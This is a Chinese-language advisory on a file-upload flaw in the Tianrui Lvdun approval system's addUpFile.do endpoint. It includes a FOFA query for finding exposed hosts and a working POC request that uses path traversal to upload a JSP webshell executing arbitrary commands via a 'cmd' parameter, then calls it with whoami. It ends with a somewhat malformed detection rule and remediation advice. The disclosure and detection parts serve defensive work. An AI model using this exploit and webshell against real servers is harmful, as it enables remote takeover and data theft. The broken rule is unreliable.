

天锐绿盾审批系统 addUpFile.do 文件上传致RCE漏洞

天锐绿盾审批系统 addUpFile.do 文件上传致RCE漏洞，攻击者可上传恶意文件执行任意命令导致服务器被控。

影响版本

天锐绿盾审批系统

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA: app="TIPPAY-绿盾审批系统"

POC/EXP:

```
POST /trwfe/service/.%2E/file/addUpFile.do HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (windows NT 10.0; win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryJ89XK7WxiQuU7uq1

-----WebKitFormBoundaryJ89XK7WxiQuU7uq1
Content-Disposition: form-data; name="relativepath"

../../webapps/ROOT/c
```

The image shows a screenshot of the Burp Suite web application security tool interface. It displays two HTTP requests in the 'Request' tab.

Request 1 (Top):

- Method:** POST
- URL:** /trwfe/service/.%2E/file/addUpFile.do
- Host:** [Redacted]
- User-Agent:** Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
- Accept:** text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
- Accept-Encoding:** gzip, deflate, br
- Accept-Language:** zh-CN,zh;q=0.9
- Connection:** keep-alive
- Content-Type:** multipart/form-data; boundary=----WebKitFormBoundaryJ89XK7WxiQuU7uq1
- Body:**
 - WebKitFormBoundaryJ89XK7WxiQuU7uq1
 - Content-Disposition:** form-data; name="relativepath"
 - ../../webapps/ROOT/c
 - WebKitFormBoundaryJ89XK7WxiQuU7uq1
 - Content-Disposition:** form-data; name="file"; filename="1.jsp"
 - <% java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a=-1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b,0,a)); } out.print("</pre>"); new java.io.File(application.getRealPath(request.getServletPath())).delete(); %>
 - WebKitFormBoundaryJ89XK7WxiQuU7uq1
 - Content-Disposition:** form-data; name="taskId"
 - 123456
 - WebKitFormBoundaryJ89XK7WxiQuU7uq1--

Request 2 (Bottom):

- Method:** GET
- URL:** /1.jsp?cmd=whoami
- Host:** [Redacted]

The interface includes various toolbars at the top for navigation and analysis, and a bottom toolbar for request management. The right sidebar shows response details for the selected request.

sonrt规则:

```

alert http any any -> $HOME_NET any (
  msg:"TianRui Approval System - JSP webservr Upload via addUpFile.do";
  flow:to_server,established;
  http.method; content:"POST";
  http.uri; pcre:"\/service\/%2e%2e\/file\/addUpFile\.do/i";
  http.header; content:"Content-Type: multipart/form-data";
  http.request_body;
  content:"name=\"relativepath\"";
  pcre:"/relativepath=[^\r\n]*\\.\\.\/\\.\\.\/webapps\/ROOT\/i";
  http.request_body;
  content:"filename=\"1.jsp\"";
  pcre:"/<\/s*java\.io\.InputStream\s+in\s*=\s*Runtime\.getRuntime\(\)\.exec\
([^\)]+\)/i";
  metadata:
    cve none,
    service http,
    affected_product "天锐绿盾审批系统",

```

```
vulnerability_type "webshell upload",  
  attack_target "application_server",  
  severity "critical";  
reference:url,www.example.com/webshell-attacks;  
classtype:web-application-attack;  
sid:1000453;  
rev:1;  
priority:1;  
)
```

漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本。